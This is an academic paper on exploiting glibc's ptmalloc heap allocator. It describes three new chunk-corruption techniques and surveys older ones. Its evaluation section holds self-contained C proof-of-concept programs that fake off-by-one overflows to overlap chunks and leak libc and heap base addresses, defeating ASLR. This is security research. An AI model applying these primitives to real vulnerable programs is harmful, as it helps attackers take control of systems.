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Abstract—GNU Libc (GLIBC) is the standard C runtime
library of most Linux distributions for PC and servers. There
used to be many memory corruption exploit techniques against
ptmalloc, the default heap allocator of GLIBC. But the widely
deployment of mitigations like NX and ASLR on modern oper-
ating systems and continuous patching to ptmalloc effectively
obsolete most of these techniques. We believe security always
comes from design, and think the basic design of ptmalloc is
obsolete and fundamentally flawed. In this paper, we present
some new exploit methods against ptmalloc along with proof of
concept code. We also discuss the feasibility of former exploit
techniques in modern environments and compare them to our
methods.

1. Introduction

A program will behave abnormally when user input
data reaches somewhere beyond the assumption of program
designer, as a result of programming mistakes or lack of
boundary checking. Normally the program will crash and
terminate in such circumstances. But in some cases by
using carefully crafted input data, a malicious attacker could
totally take control of the program and execute arbitrary
operations. These programming mistakes are vulnerabilities
and the carefully crafted input is the exploit of the vulner-
ability.

The public research and discussion of memory corrup-
tion vulnerabilities began with [18], mainly focusing on
stack based buffer overflows. Later [9] discussed buffer
overflows on dynamic allocated memory (aka. heap) and
their possible exploits.

Stack overflow exploits usually target the function return
addresses, saved frame pointers [14] or other critical data on
stack. But in heap overflow cases one potential target is the
dynamic allocated data structure of applications, which is
application dependent. The format of the structure and the
semantics of each field in the structure depend on the ap-
plications. Another feasible target is the meta data structure
of the heap allocator which is application independent and
only depends on the implementation of the heap allocator.
Obviously, the latter target is more generic and stable than
the former one.
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Currently most Linux distributions for PC and servers
use GNU Libc (GLIBC)[1] as their standard C runtime
library. In GLIBC the dynamic memory allocation APIs like
malloc, free and realloc are served by ptmalloc[2], a well-
known heap allocator based on Dong Lea’s Malloc (dlmal-
loc) with additional multi-thread support. Thus ptmalloc is
made the de facto standard heap allocator on most Linux
distributions due to the widely use of GLIBC.

As early as 2000 there had been some exploit techniques
against heap overflows on dlmalloc, including the classical
unlink attack [10]. In 2001 there were two papers [16][3]
discussing exploits against heap allocators. Afterwards more
advanced exploit techniques based on unlink [13][19] had
been proposed.

Though the unlink attack was quickly fixed in later
patches of dlmalloc, more attack methods were proposed.
In [20] five new exploit techniques were proposed. In [12]
a proof of concept was presented, exploiting a real world
vulnerability with one of the techniques. In [20] the author
gave a further discussion, making some corrections and
complements on the details and demonstrating four of them
with proof of concept.

In the past years, many operating systems have
armored themselves with a lot of mitigations on memory
corruption vulnerabilities. Among them NX/DEP and
ASLR are the most widely known and deployed ones.
NX prevents the binary data from being interpreted and
executed as machine instructions, effectively rendering
the shellcode based exploitation obsolete. Since the rise
of code reuse attacks like return-to-libc[11][28][27],
return-oriented-programming (ROP)[22][7][8][21] and
jump-oriented-programming[6] in recent years, NX is no
longer as effective as it used to be. ASLR randomizes
the memory space layout of applications and shared
libraries to prevent the attacker locating the shellcode
or ROP gadget in memory with hardcoded addresses.
ASLR is usually defeated by spray and memory address
information leakage[25][15]. The former increases the
success probability by inserting as much attack payload as
possible in memory space. The latter helps infer the whole
memory space layout through several leaked memory
addresses.

Most of former exploit techniques become obsolete in
modern world thanks to the widely deployment of mitiga-
tions and the continuous patching to ptmalloc. Although
there have been various integrity checks adding to the latest
ptmalloc, its basic design is fundamentally flawed in terms



of security. We believe that security comes from design, not
from additional integrity checks. It is for this reason, we
present new exploit methods against the latest ptmalloc of
GLIBC.

In summary, this paper makes the following contribu-
tions:

1) Presenting new attack methods against the latest
ptmalloc of GLIBC (version 2.23) considering
modern operating systems with modern mitiga-
tions.

2) Demonstrating these new methods with proof of
concept.

3) Discussing the feasibility of former exploit tech-
niques in modern environments.

2. Background

The basic concepts and data structures of ptmalloc will
be briefly introduced and elaborated in this chapter.

The basic operations of heap allocator are malloc, free
and realloc. Memory blocks managed by ptmalloc are called
chunks. Each chunk must be in one of the two states:
allocated or freed. The structure of a chunk is showed as
follows.

1 struct malloc_chunk
2 {
3 /* Size of previous chunk (if free). */
4 INTERNAL_SIZE_T prev_size;
5 /* Size in bytes, including overhead. */
6 INTERNAL_SIZE_T size;
7 /* double links -- used only if free. */
8 struct malloc_chunk* fd;
9 /* Only used for large blocks: pointer to

next larger size. */
10 struct malloc_chunk* bk;
11 /* double links -- used only if free. */
12 struct malloc_chunk* fd_nextsize;
13 struct malloc_chunk* bk_nextsize;
14 };

All the fields following the size field only exist in free
chunks. In allocated chunks they are used to store user data.
The prev size field only exists when previous chunk is not in
use. It is also used to store user data when previous chunk is
in use. Generally, only the size field exists in every chunks.

Heap allocator does not pay too much attention on
allocated chunks. On the other hand, free chunks are man-
aged by heap allocator carefully, being stored in several
internal data structures of allocator. These data structures
are the most key part of an allocator design, whose design
methodology includes fast, space-conserving and portable.

The general principle of ptmalloc is best-fit. It is impor-
tant to keep it in mind when writing exploits. And ptmalloc
has such a comment on itself:

”This is not the fastest, most space-conserving, most
portable, or most tunable malloc ever written. However it is
among the fastest while also being among the most space-
conserving, portable and tunable. Consistent balance across
these factors results in a good general-purpose allocator for
malloc-intensive programs.”[1]

Heap allocator uses a data structure named arena to
manage free chunks. Each arena corresponds to a heap
and there can be multiple heaps, therefore multiple arenas,
existing in a process simultaneously. The arena corresponds
to the initial heap is a special one called main arena. An
arena consists of various linked lists called bins, linking free
chunks together. Each free chunk must belong to one and
only one of the bins. Currently there are four types of bins,
fastbin, unsorted bin, small bin and large bin.

2.1. Fastbin

Fastbin is a special design optimized for performance
and cache locality. It is a single linked list similar to look
aside table of Windows, in which free chunks of same size
are linked in a LIFO way.

Chunk size of different fastbins varies. There are totally
10 fastbins in an arena yet the first 7 are used by default,
ranging from 16 to 64 bytes on 32-bit systems or 32 to 128
bytes on 64-bit systems.

Fastbins are, by the name, fast. When allocating chunks
of size within above range, the corresponding fastbin always
takes precedence to satisfy the request. And when freeing
such chunks they are placed into the fastbin immediately
and not consolidated with adjacent free chunks.

The simplicity of its structure of single linked lists makes
fastbins perfect targets for attackers. And the look aside table
has been abandoned for security concerns since Windows
Vista.

Other bins except fastbins are called normal bins. Gener-
ally normal bins are double linked lists accessed in a FIFO
way. Bins are distinguished by its specific chunk size or
chunk size range, except unsorted bin.

2.2. Unsorted bin

nsorted bin is unique in each arena. It is composed of
chunks with arbitrary sizes. When allocating from unsorted
bin, the linked list is traversed until a chunk of exact size
is met. Those traversed but unfit chunks are taken from
unsorted bin and inserted into their small bins or large
bins according to their sizes. When freeing chunks not in
the range of fastbin, they are inserted into unsorted bin at
first rather than the small bins or large bins. The design of
unsorted bin optimizes the performance of freeing chunks
and cache locality.

The double linked list nature makes unsorted bin vul-
nerable to the legacy unlink attack. Nonetheless modern
ptmalloc has already made precautions against the attack,
making it harsh in practice.

We will present some new attack methods against un-
sorted bin later.

2.3. Small bin

Small bin consists of chunks of same size, ranging from
16 to 512 bytes on 32-bit systems or 32 to 1024 bytes on



64-bit systems. Each size in range maps to a unique small
bin. Allocation of small bin takes chunk at one head of
FIFO queue. And the chunks coming from unsorted bin are
directly inserted into another head.

Small bins are relatively less attractive to attackers yet
also exploitable by some new methods.

2.4. Large bin

Large bin contains chunks not of same size but within a
specific range. Large bins are double linked list with sorted
order, in which chunks of same size are placed in adjacent
nodes. In addition, each group of same sized chunks has
a representative being linked in another double linked list
to speed up traversing using the fd nextsize and bk nextsize
field.

When allocating from large bin, the linked list is tra-
versed in ascendant order through bk nextsize field until a
chunk big enough to satisfy the request is met. If this chunk
exactly fits then it is exhausted and directly returned to user.
Otherwise it is split to two parts, one of which satisfies the
request and the remainder is inserted into unsorted bin as
a new free chunk. Chunks coming from unsorted bin will
be inserted into a suitable position by traversing through
fd nextsize field, keeping the order of large bin.

There used to be a legacy technique called frontlink
attack exploiting the large bin. Although the frontlink is long
gone in modern libc, part of its relic remains and can still
be exploited. We will show this later.

3. New Exploit Methods

We think it is time to present new exploit methods,
as most of the former methods are more or less fixed
or drastically weakened and become obsolete in the latest
GLIBC with modern mitigations.

By exploiting a vulnerability like heap overflow, use-
after-free or double free, the attacker is assumed to have
achieved full control of the contents of heap memory, but
no direct control of the contents of arenas as well as all the
other memory. We take all the common mitigations of mod-
ern Linux systems including NX, ASLR, PIE, RELRO into
consideration. The attacker is assumed to have no shellcode
execution and no idea about the base addresses of heap,
stack, application executable and shared libraries. Further-
more these base addresses are considered to be randomized
independently. We treat all dynamic allocated objects as pure
data buffers, not utilizing the application dependent features
like C++ objects or C structures to perform the attack.

3.1. Free Chunk Enlarge Attack

This attack targets the size field of a free chunk. When
previous chunk is in use, size field of current chunk is
actually the first field after the user data of previous chunk.
Supposing overflows happen in the previous chunk, the size
field comes first to be corrupted even for a one or two

byte overflow. The corruption of size field of a free chunk
brings devastating consequences. As the first breakthrough,
we present the Free Chunk Enlarge Attack.

There are five scenarios for a free chunk: fastbin, un-
sorted bin, small bin, large bin and the top chunk. The top
chunk case is elaborated in the House of Force attack. Free
chunks of fastbin are checked when allocating, so the size
cannot be altered. Free chunks of small bin are of same size
and the size field is not used when allocating. Free chunks of
large bin are allocated according to the size, either exhausted
or split. Free chunks of unsorted bin are allocated only in
case of best fit, otherwise they are placed into small bin or
large bin according to the size. Thus only the size of large
bin chunks and unsorted bin chunks matter.

Enlarging the size of a large bin chunk or unsorted
bin chunk tricks the heap allocator to regard the allocated
memory next to current free chunk as part of it. Next
allocation may cause the allocated memory to be allocated
again and the contents of memory in use will be overwritten.

Considering an off-by-one scenario, the attack goes as
follows:

1) Prepare three consecutive objects V, A, T on the
heap. Among them V is the object with off-by-one
vulnerability and T is the target object. The size of
A must not be in fastbin range.

2) Free object A. A becomes a normal free chunk in
unsorted bin.

3) Trigger off-by-one in V to corrupt and enlarge the
size of A, faking an enlarged free chunk AL.

4) Allocate object B from AL with proper size, over-
lapping the former A and T.

5) Modifying the contents of B corrupts the contents
of T.

Information leaks can be introduced by applying this
attack. If the enlarged the chunk splits during allocation,
the remainder becomes a new free chunk of unsorted bin.
It is a common functionality for an application to read out
part of the contents of T. If the remainder chunk is located
in T, the fd and bk linked list pointers can be leaked out,
which usually points to other chunks or bins in main arena.
The attacker can infer the base address of heap and shared
libraries through leaked pointers, effectively defeating ASLR.

This attack can be combined with other techniques for
different types of target T. In case T is top chunk, classic
House of Force can be applied.

3.2. Nonadjacent Free Chunk Consolidation Attack

This attack takes advantage of the consolidation of adja-
cent free chunks during chunk freeing, forcing nonadjacent
chunks to be consolidated. When freeing a chunk, the heap
allocator checks its previous and next chunk and consoli-
dates them with current chunk if they are free. The next
chunk is located by the size of current chunk and checked
whether it is free. If the next chunk is top chunk it is
directly consolidated with current chunk, otherwise it is first
unlinked from linked list then consolidated. The previous



chunk is checked free by the prev inuse bit in size field of
current chunk and located by the prev size field. Then it is
also unlinked and consolidated.

The unlink here is not quite interesting since there are a
bunch of integrity checks as mentioned above. What really
interests us is a real free chunk, as real ones always pass
the integrity checks. Due to lack of checking on size, an
attack can force the real free chunk to be consolidated with
current chunk even they are not adjacent.

We present two scenarios here. The first one is similar to
Free Chunk Enlarge Attack as the attacker can corrupt and
enlarge the size of a chunk except the chunk is allocated
instead of free in this scenario. It goes as follows:

1) Prepare four consecutive objects V, A, T, B on the
heap. Among them V is the object with off-by-one
vulnerability and T is the target object. The size of
B must not be in fastbin range.

2) Free object B. B becomes either a normal free
chunk or top chunk.

3) Trigger off-by-one in V to corrupt and enlarge the
size of A to the sum of former size of A and T,
faking an enlarged chunk A L .

4) Free object A. From the allocator’s point of view,
B is the next chunk of A as the size of A exactly
locates B. Then B as a real free chunk is success-
fully unlinked and consolidated with nonadjacent
A, forming a large free chunk A∗ and also freeing
the intermediate object T.

5) Allocate object C from chunk A∗ with proper size,
overlapping the former A and T.

6) Modifying the contents of C corrupts the contents
of T.

The second one is a more restrictive null byte off-by-one
scenario, as the attacker can only overflow a single null byte.
The overflowed null byte in some cases zeros out the lowest
byte of size thus the prev inuse bit of next chunk, forcing
a nonadjacent consolidation by carefully crafted prev size.
It goes as follows:

1) Prepare four consecutive objects A, T, V, B on the
heap. Among them V is the object with null byte
off-by-one vulnerability and T is the target object.
The size of A must not be in fastbin range and the
size of B must be multiples of 0x100.

2) Free object A. A becomes a normal free chunk.
3) Trigger null byte off-by-one in V to zero out the

lowest byte of size of B to clear the prev inuse bit
and set prev size of B to the sum of size of A, T
and V.

4) Free object B. From the allocator’s point of view, A
is the previous chunk of B as the prev inuse bit of
B is not set and prev size exactly locates A. Then
A as a real free chunk is successfully unlinked and
consolidated with nonadjacent B, forming a large
free chunk A∗ and also freeing the intermediate
object T.

5) Allocate object C from chunk A∗ with proper size,
overlapping the former A and T.

6) Modifying the contents of C corrupts the contents
of T.

Same as the Free Chunk Enlarge Attack, the remainder
of chunk split may introduce information leaks and defeat
ASLR. This attack can also be combined with other tech-
niques for different types of target T.

3.3. Free Chunk Shrink Attack

We have the Free Chunk Enlarge Attack in case the
size of chunk can be enlarged. Considering an extremely
restrictive scenario in which the attacker can only overflow
a single null byte and nothing more, not even the control of
prev size, we present the Free Chunk Shrink Attack.

The attack goes as follows:

1) Prepare three consecutive objects V, A, B on the
heap. Among them V is the object with null byte
off-by-one vulnerability. The size of A must be in
large bin range and larger than target object T. The
size of B must not be in fastbin range.

2) Free object A. A becomes a normal free chunk.
3) Trigger null byte off-by-one in V to zero out the

lowest byte of size of A and shrink A to AS , leaving
a void area between AS and object B.

4) Allocate object A1 from AS with proper size not
in fastbin range.

5) Allocate target object T from the remainder of AS .
6) Free object A1. A1 becomes a normal free chunk.
7) Free object B. The allocator will regard the former

A, current A1, as previous chunk of B since the
prev size and size of B remain untouched because
of the void area. Then A1 as a free chunk is
successfully unlinked and consolidated with non-
adjacent B, forming a large free chunk A∗ and also
freeing the intermediate object T.

8) Allocate object C from chunk A∗ with proper size,
overlapping the A1 and T.

9) Modifying the contents of C corrupts the contents
of T.

Information leaks may occur as well by utilizing the
remainder of chunk split.

4. Evaluation

4.1. Proof of Concept

We will demonstrate the feasibility of the new exploit
methods with proof of concept in this chapter.

The vulnerability and attack processes are simulated in
PoC code. The object V represents the vulnerable object and
the object T represents the hypothesized target object. We
prove the success of attack by corrupting the contents of T.

All the PoC code is fully tested under the latest Ubuntu
system. At the time of writing it is Ubuntu 16.04 LTS, with
Linux kernel 4.4 and GLIBC 2.23. We also make successful
test on Ubuntu 14.04.4 LTS with Linux kernel 3.13 and



GLIBC 2.19, and Ubuntu 15.10 with Linux kernel 4.2 and
GLIBC 2.21. We believe the PoC code should be workable
on older systems.

4.1.1. Free Chunk Enlarge Attack. First we present the
proof of concept for Free Chunk Enlarge Attack. By trigger-
ing the off-by-one vulnerability in object V and enlarging
the size of next free chunk, an attacker can finally corrupt
the contents of T, as Code 1 shows:

Code 1: Free Chunk Enlarge Attack
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4

5 int main(){
6 void *V = malloc(0x18); // vulnerable

object
7 void *A = malloc(0xf0); // chunk size 0

x100, not fastbin
8 char *T = (char*)malloc(0x10); // target
9 strcpy(T, "Target");

10 printf("T: %s\n", T);
11 free(A);
12 memcpy(V, "AAAAAAAAAAAAAAAAAAAAAAAA\x21",

0x19); // off-by-one, enlarge size
of A to 0x120

13 char *B = (char*)malloc(0x110); //
malloc B overlapping T

14 strcpy(B+0x100, "Corrupted!"); // corrupt
T

15 printf("T: %s\n", T);
16 return 0;
17 }

1 $ gcc enlarge_poc.c -fpie -pie
2 $ ./a.out
3 T: Target
4 T: Corrupted!

Mentioned in previous chapter, information leaks can be
introduced with the remainder of chunk split by applying
this attack as the proof of concept Code 2 shows.

1 $ gcc enlarge_infoleak_poc.c -fpie -pie
2 $ ./a.out
3 T: 1234567890abcdef deadbeaf
4 T: 7f88f26f3b78 55a5e6c68000
5 Base Address of Libc: 7f88f2330000
6 Base Address of Heap: 55a5e6c68000

For verification, Code 3 shows the memory map of the
process:

The PoC shows that the base addresses of both heap
and libc can be calculated by reading out some contents
of object T. Furthermore, since all the shared libraries are
mapped to continuous memory areas, their base addresses
are also compromised by knowing the base address of libc.

4.1.2. Nonadjacent Free Chunk Consolidation Attack.
The first scenario of Nonadjacent Free Chunk Consolidation
Attack is similar to previous one. The attack triggers the off-
by-one vulnerability in object V to enlarge the size of next

Code 2: Memory Address Leak
1 int main(){
2 void *H = malloc(0x80);
3 void *V = malloc(0x18); // vulnerable

object
4 void *A = malloc(0xf0); // chunk size 0

x100, not fastbin
5 long *T = (long*)malloc(0x10); // target
6 T[0] = 0x1234567890abcdef;
7 T[1] = 0xdeadbeaf;
8 printf("T: %lx %lx\n", T[0], T[1]);
9 free(A);

10 memcpy(V, "AAAAAAAAAAAAAAAAAAAAAAAA\x21",
0x19); // off-by-one, enlarge size

of A to 0x120
11 void *B = malloc(0xf0); // malloc B,

split A
12 free(H); // insert one more chunk into

unsorted bin
13 printf("T: %lx %lx\n", T[0], T[1]);
14 long libc_base = T[0] - 0x3c3b78;
15 long heap_base = T[1];
16 printf("Base Address of Libc: %lx\n",

libc_base);
17 printf("Base Address of Heap: %lx\n",

heap_base);
18 return 0;
19 }

Code 4: Nonadjacent Free Chunk Consolidation Attack Scenario 1
1 int main()
2 {
3 void *V = malloc(0x18); // vulnerable

object
4 void *A = malloc(0xf0); // chunk size 0

x100, not fastbin
5 char *T = (char*)malloc(0x10); // target
6 void *B = malloc(0xf0); // chunk size 0

x100, not fastbin
7 strcpy(T, "Target");
8 printf("T: %s\n", T);
9 free(B);

10 memcpy(V, "AAAAAAAAAAAAAAAAAAAAAAAA\x21",
0x19); // off-by-one, enlarge size

of A to 0x120
11 free(A); // force nonadjacent

consolidation with B
12 char *C = (char*)malloc(0x110); // malloc

C, overlapping T
13 strcpy(C+0x100, "Corrupted!");
14 printf("T: %s\n", T);
15 return 0;
16 }

allocated chunk and finally corrupts the contents of T, as
Code 4 shows.

1 $ gcc consol_poc1.c -pie -fpie
2 $ ./a.out
3 T: Target
4 T: Corrupted!



Code 3: Memory Map
1 # cat /proc/‘pidof a.out‘/maps
2 55a5e5670000-55a5e5671000 r-xp 00000000 08:01 1050793 /home/poc/a.out
3 55a5e5870000-55a5e5871000 r--p 00000000 08:01 1050793 /home/poc/a.out
4 55a5e5871000-55a5e5872000 rw-p 00001000 08:01 1050793 /home/poc/a.out
5 55a5e6c68000-55a5e6c89000 rw-p 00000000 00:00 0 [heap]
6 7f88f2330000-7f88f24f0000 r-xp 00000000 08:01 922865 /lib/x86_64-linux-gnu/libc-2.23.so
7 7f88f24f0000-7f88f26ef000 ---p 001c0000 08:01 922865 /lib/x86_64-linux-gnu/libc-2.23.so
8 7f88f26ef000-7f88f26f3000 r--p 001bf000 08:01 922865 /lib/x86_64-linux-gnu/libc-2.23.so
9 7f88f26f3000-7f88f26f5000 rw-p 001c3000 08:01 922865 /lib/x86_64-linux-gnu/libc-2.23.so

10 7f88f26f5000-7f88f26f9000 rw-p 00000000 00:00 0
11 7f88f26f9000-7f88f271f000 r-xp 00000000 08:01 922837 /lib/x86_64-linux-gnu/ld-2.23.so
12 7f88f2901000-7f88f2904000 rw-p 00000000 00:00 0
13 7f88f291c000-7f88f291e000 rw-p 00000000 00:00 0
14 7f88f291e000-7f88f291f000 r--p 00025000 08:01 922837 /lib/x86_64-linux-gnu/ld-2.23.so
15 7f88f291f000-7f88f2920000 rw-p 00026000 08:01 922837 /lib/x86_64-linux-gnu/ld-2.23.so
16 7f88f2920000-7f88f2921000 rw-p 00000000 00:00 0
17 7fff49ba3000-7fff49bc4000 rw-p 00000000 00:00 0 [stack]
18 7fff49bf8000-7fff49bfa000 r--p 00000000 00:00 0 [vvar]
19 7fff49bfa000-7fff49bfc000 r-xp 00000000 00:00 0 [vdso]
20 ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

Code 5: Nonadjacent Free Chunk Consolidation Attack Scenario 2
1 int main()
2 {
3 void *A = malloc(0xf0); // chunk size 0

x100, not fastbin
4 char *T = (char*)malloc(0x10); // target
5 void *V = malloc(0x18); // vulnerable

object
6 void *B = malloc(0xf0); // chunk size 0

x100, not fastbin
7 strcpy(T, "Target");
8 printf("T: %s\n", T);
9 free(A);

10 memcpy(V, "AAAAAAAAAAAAAAAA\x40\x01\x00\
x00\x00\x00\x00\x00\x00", 0x19); //
null byte off by 1, clear prev_inuse
of B and set prev_size to 0x140

11 free(B); // force nonadjacent
consolidation with A

12 char *C = (char*)malloc(0x110); // malloc
C, overlapping T

13 strcpy(C+0x100, "Corrupted!");
14 printf("T: %s\n", T);
15 return 0;
16 }

The second scenario is a more restrictive null byte off-
by-one case. The overflowed null byte clears the prev inuse
bit of next chunk, forcing a nonadjacent consolidation by
carefully crafted prev size, as Code 5 shows.

1 $ gcc consol_poc2.c -pie -fpie && ./a.out
2 T: Target
3 T: Corrupted!

4.1.3. Free Chunk Shrink Attack. In an extremely re-
strictive null byte off-by-one scenario without the control
of prev size, the proof of concept Code 6 for Free Chunk

Code 6: Free Chunk Shrink Attack
1 int main()
2 {
3 char *V = (char*)malloc(0x18); //

vulnerable object
4 void *A = malloc(0x400); // chunk size 0

x410, not fastbin
5 void *B = malloc(0xf0); // chunk size 0

x100, not fastbin
6 free(A);
7 strcpy(V, "AAAAAAAAAAAAAAAAAAAAAAAA"); //

null byte off by 1, shrink size of A
to 0x400

8 void *A1 = malloc(0xf0);
9 char *T = (char*)malloc(0x10); // target

10 strcpy(T, "Target");
11 printf("T: %s\n", T);
12 free(A1);
13 free(B); // force consolidation with A1
14 char *C = (char*)malloc(0x400); // malloc

C, overlapping T
15 strcpy(C+0x100, "Corrupted!");
16 printf("T: %s\n", T);
17 return 0;
18 }

1 $ gcc shrink_poc.c -pie -fpie
2 $ ./a.out
3 T: Target
4 T: Corrupted!

Shrink Attack is presented.

4.2. Former Methods

There are many exploit techniques against the heap
allocator of GLIBC. We will briefly introduce them and
discuss their feasibility in modern environments.



4.2.1. Unlink. Unlink is probably the earliest and the most
well-known exploit technique against ptmalloc, first intro-
duced by Solar Designer and later elaborated in [16] and
[3]. It mainly takes advantage of the unlink operation during
chunk freeing, by corrupting the linked list pointers in order
to achieve an almost arbitrary 4 bytes mirrored overwrite
(aa4bmo) primitive [13].

In 2004 several patches were released, effectively obso-
leting the unlink attack by a series of strict integrity checks
on linked list pointers during unlinking. In spite of some
rare conditions the checks could be bypassed, the overall
impacts are restrained in a small extent.

4.2.2. Frontlink. Frontlink method was first elaborated in
[16]. In some older versions of ptmalloc fronlink refers to
the operation of inserting a chunk into a bin. When inserting
a chunk into a large bin, it is traversed until a suitable
inserting position is found in order to keep the order. By
corrupting one of the traversed chunks, an attack can force
an arbitrary address to be overwritten with a pointer to the
inserted chunk. Attackers cannot overwrite with arbitrary
value by frontlink method, making it less general than the
unlink method.

In newer versions of ptmalloc frontlink is eliminated
because of code refactoring, yet part of its code still remains.

4.2.3. Malloc Maleficarum. After the fix of unlink method,
five new techniques were presented in [20]. It was mainly
a theoretical discussion with regard to the topic of heap
overflows and lacks proof of concept. But later in [12] a
proof of concept was presented, exploiting a real world
vulnerability with The House of Mind technique and cor-
recting some mistakes in former article. In [5] the author
gave a further discussion on these five techniques, pointing
out some mistakes and ignored details, improving some of
the techniques and demonstrating four of five with proof of
concept.

The final goal of The House of Prime is to gain com-
plete control over the arena structure and craft a fake one,
in order to allocate a chunk on arbitrary address. The attack
process includes at least two frees and one malloc, starting
from freeing a chunk with corrupted size field, which is too
small that makes its index in fastbin -1, causing an out of
range write to the fastbin array.

In newer versions of ptmalloc the size of chunk is cor-
rectly checked, prevents the out of range write and fixes this
attack fundamentally. But the techniques used after faking
the arena structure are still practical nowadays.

The House of Mind targets the arena structure as
well, except only one free is required. It takes ad-
vantage of the NON MAIN ARENA bit in chunk head
that indicates whether the current chunk is allocated
from an arena other than main arena. When freeing
chunks with NON MAIN ARENA bit set, its correspond-
ing arena is retrieved in a special way. By corrupting the
NON MAIN ARENA bit, an attacker can force a fully con-
trollable fake arena structure to be retrieved. Performing free
with this fake arena may lead to arbitrary write.

Newer versions of GLIBC makes an effective but not
fundamental fix, stopping the House of Mind by additional
integrity checks that blocks the two possible ways of arbi-
trary write in the last step proposed by the author.

The House of Force mainly targets the top chunk in
order to allocate a chunk on arbitrary address. By tampering
the size of top chunk to a very large value and allocating a
chunk with attacker controlled size, the top chunk can be set
to anywhere, so that next allocation happened in top chunk
will produce a chunk on this address.

As far as we know, no specific patches of ptmalloc
against the House of Force have ever been released.

The House of Lore is pure theoretical and no proof
of concept has ever been showed. Its goal is to allocate
a chunk on arbitrary address by corrupting the bins with
corrupted free chunks. It starts from corrupting the linked
list pointers in free chunks through heap overflows. Next
time this corrupted free chunk is allocated, the corrupted
pointers will be propagated to the bin and next allocation
happened in this corrupted bin may produce a chunk on
arbitrary address.

The author gives theoretical discussion on the feasibility
of the House of Lore with regard to both small bins and
large bins, concluding it can only work with some strict
prerequisites far from practical.

In newer versions of GLIBC there are additional in-
tegrity checks during allocating from small bins and large
bins, making it impossible to allocate a chunk on arbitrary
address from small bins or large bins. Nevertheless there are
no checks or just some easy bypassed checks for fastbins
and unsorted bin.

The House of Spirit can lead to memory overwrite
by corrupting a pointer passed to free. An attacker can
force a free operation on arbitrary address, by tampering the
pointer to be freed. Future allocation of the same size will
produce a chunk on the same address, allowing the attacker
to overwrite the target memory. In order to launch the attack,
the target memory layout must meet some preconditions rare
in practice.

There are no specific patches against this method, actu-
ally just several additional integrity checks.

4.3. Comparison

We compare the effectiveness of our methods to legacy
methods on various GLIBC versions. Our methods prevail
undoubtedly as Table 1 shows:

5. Related Work

The public research and discussion of memory corrup-
tion vulnerabilities starts with [18], mainly focusing on stack
based buffer overflows. Heap overflow exploits are first
discussed in [9]. [10] presents unlink, the first general heap
exploit technique. [16][3] elaborates this technique. After-
wards more advanced exploit techniques based on unlink
[13][19] are proposed.



TABLE 1: Comparison of exploit methods on various GLIBC versions

Exploit Methods GLIBC-2.23 GLIBC-2.21 GLIBC-2.19 GLIBC-2.3.6 GLIBC-2.1.x 2.2.x
Unlink No No No No Yes

Frontlink No No No No Yes
House of Prime No No No Yes Yes
House of Mind No No No Yes Yes
House of Force Yes Yes Yes Yes Yes
House of Spirit Hard Hard Hard Hard Yes

Free Chunk Enlarge Attack Yes Yes Yes Yes Yes
Nonadjacent Free Chunk Consolidation Attack Yes Yes Yes Yes Yes

Free Chunk Shrink Attack Yes Yes Yes Yes Yes

In [20] five new exploit techniques are proposed. In
[12] a proof of concept is presented, exploiting a real
world vulnerability with one of the techniques. In [20] the
author gives a further discussion, making some corrections
and complements on the details and demonstrating four of
them with proof of concept. [24] discusses some exploit
techniques on Windows platform.

[26] summarizes exploit techniques against mem-
ory corruption bugs and their mitigations. NX/DEP and
ASLR[4][23] are the most widely known and deployed mit-
igations on modern operating systems. Some heap specific
schemes[17] are also proposed.

6. Conclusion

In this paper, we present several new exploit methods
against the heap allocator of latest GLIBC. Despite all the
patches and mitigations, there are still so many possible
ways to attack, and there could be more underground. In
terms of security, the basic design of ptmalloc is obsolete
and fundamentally flawed. Security always comes from
design, not from additional checks.
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